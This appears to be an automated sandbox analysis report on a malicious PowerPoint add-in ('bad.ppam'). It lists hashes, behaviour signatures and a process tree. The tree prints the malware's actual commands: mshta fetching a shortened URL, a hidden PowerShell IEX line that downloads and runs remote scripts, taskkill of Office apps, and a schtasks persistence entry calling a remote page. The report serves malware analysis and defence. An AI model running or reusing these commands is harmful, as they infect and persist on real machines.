Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    18-10-2021 10:27

General

  • Target

    bad.ppam

  • Size

    11KB

  • MD5

    a00323d66feb6d05cb3cfc28ff8c79a9

  • SHA1

    50cb3fa623e7a92553512d4b26f797ed23eab0e4

  • SHA256

    4fcca1bce2dd80a24a9def40ab28cc5197e8dd477c2ef77c4d47a19b73fa8bf1

  • SHA512

    1f2a0f55e62511f2e22c53d814e421f9eafc0d019496a2afd59bde15329a0fb0634bfee6117bd0649c745ceae2b288ea9f28b293dc57ea9a99064a7b06406aeb

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\bad.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1232
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1872
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\System32\mshta.exe" http://www.bitly.com/doaksoodwwdkkdwdasdwmdaweu
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1668
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1824
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1912
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_8f22087a2c0740eba07c3aea05e107e7.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_959babd593ed4cd49dd3b6a0f1146d59.txt').GetResponse().GetResponseStream()).ReadToend());
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1264
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/13.html\""
          3⤵
          • Creates scheduled task(s)
          PID:896

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/896-64-0x0000000000000000-mapping.dmp

    • memory/1232-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1232-54-0x0000000071261000-0x0000000071263000-memory.dmp

      Filesize

      8KB

    • memory/1232-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1232-53-0x0000000074091000-0x0000000074095000-memory.dmp

      Filesize

      16KB

    • memory/1232-57-0x0000000074F81000-0x0000000074F83000-memory.dmp

      Filesize

      8KB

    • memory/1264-68-0x0000000002490000-0x00000000030DA000-memory.dmp

      Filesize

      12.3MB

    • memory/1264-65-0x0000000000000000-mapping.dmp

    • memory/1264-69-0x0000000002490000-0x00000000030DA000-memory.dmp

      Filesize

      12.3MB

    • memory/1264-70-0x0000000002490000-0x00000000030DA000-memory.dmp

      Filesize

      12.3MB

    • memory/1668-59-0x0000000000000000-mapping.dmp

    • memory/1668-67-0x0000000006990000-0x0000000006991000-memory.dmp

      Filesize

      4KB

    • memory/1824-62-0x0000000000000000-mapping.dmp

    • memory/1872-58-0x000007FEFBA71000-0x000007FEFBA73000-memory.dmp

      Filesize

      8KB

    • memory/1872-56-0x0000000000000000-mapping.dmp

    • memory/1912-63-0x0000000000000000-mapping.dmp